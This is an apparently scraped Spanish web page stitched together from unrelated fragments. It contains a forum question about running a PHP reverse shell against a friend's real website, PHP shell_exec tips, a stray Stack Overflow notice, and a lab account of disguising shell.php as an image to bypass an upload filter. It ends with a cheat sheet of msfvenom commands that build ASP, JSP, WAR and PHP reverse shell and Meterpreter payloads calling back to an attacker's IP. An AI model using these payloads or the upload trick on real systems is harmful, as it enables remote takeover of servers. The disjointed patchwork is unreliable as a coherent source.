Bash reverse shell
Creo que la mayoría de vosotros ha oído hablar de la shell inversa de php de pentestmonkey. Bueno mi pregunta es sobre ella: generalmente se usa en redes locales o en vpns como la de hackthebox; pero ahora estoy jugando con un sitio web real, el de mi amigo, y como sabéis hay que poner una ip y el puerto en el script php. ¿Qué ip debo poner si mi objetivo es una web pública real en otra red? Lo que creo es que la dirección ip local 192.168.etc no se puede utilizar. Así que he probado con mi dirección pública pero parece que no funciona de todos modos. ¿Hay algo mal en lo que pensé? 13 comentarioscompartirinformar79% UpvotedOrdenar por: mejor
Php reverse shell windows
Si intenta ejecutar un comando como “gunzip -t” en shell_exec y obtiene un resultado vacío, es posible que tenga que añadir 2>&1 al final del comando, por ejemplo:No siempre funciona:echo shell_exec(“gunzip -c -t $ruta_al_archivo_de_respaldo”);Debería funcionar: echo shell_exec(“gunzip -c -t $ruta_al_archivo_de_respaldo 2>&1”);En el ejemplo anterior, un salto de línea al principio de la salida de gunzip parece impedir que shell_exec imprima nada más. Espero que esto le ahorre a alguien una o dos horas.
En Windows, si shell_exec NO devuelve el resultado que esperaba y el PC está en una red empresarial, configure el servicio Apache (o wampapache) para que se ejecute bajo su cuenta en lugar de la “cuenta del sistema local”. Tu cuenta debe tener privilegios de administrador.Para cambiar la cuenta ve a los servicios de la consola, haz clic con el botón derecho en el servicio Apache, elige propiedades y selecciona la pestaña de conexión.
Como otros han señalado, tanto shell_exec como el operador de retroceso (`) devuelven NULL si el comando ejecutado no produce nada. Esto puede solucionarse haciendo algo como lo siguiente:shell_exec (“silentcmd && echo ‘ ‘”);Aquí simplemente estamos produciendo un espacio en blanco si el comando tiene éxito – lo que satisface este problema ligeramente extraño. A partir de ahí, puedes recortar() la salida del comando, etc.
Php webshell
Stack Overflow for Teams se traslada a su propio dominio. Cuando la migración esté completa, accederás a tus Teams en stackoverflowteams.com, y ya no aparecerán en la barra lateral izquierda de stackoverflow.com.
Tuve que cambiar el nombre del script de shell.php a shell.php.png porque el sitio sólo me permitía subir imágenes. Una vez que subí el script, encontré la url de la imagen/script, configuré un listener de netcat en mi máquina atacante, y luego visité la página con el script y eso fue suficiente para establecer una conexión entre el objetivo y el atacante.
¿Puede alguien aclarar por qué fue tan fácil establecer una shell inversa en un caso y más complicado en otro? ¿Qué ocurre entre bastidores en la máquina virtual de Pwnlab para que la visita a la URL con el script de shell inverso cargado no funcione, pero la explotación de la variable lang con una puerta trasera de PHP sea suficiente?
A grandes rasgos, la diferencia parece ser que un servidor trataría cualquier archivo solicitado (o al menos subido) como código PHP – al menos si realmente contuviera código PHP – mientras que el otro trataría el archivo subido como una imagen cuando lo solicitases, por lo que tendrías que encontrar otra forma de hacer que el servidor lo tratase como código en su lugar.
Shell Php
Hay toneladas de hojas de trucos por ahí, pero no pude encontrar una completa que incluya shells no Meterpreter. Incluiré tanto los shells de Meterpreter como los que no son de Meterpreter para los que estudian para el OSCP.
aspmsfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.aspjspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell. jspwarmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.warphpmsfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.aspjspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > ejemplo. jspwarmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.warphpmsfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
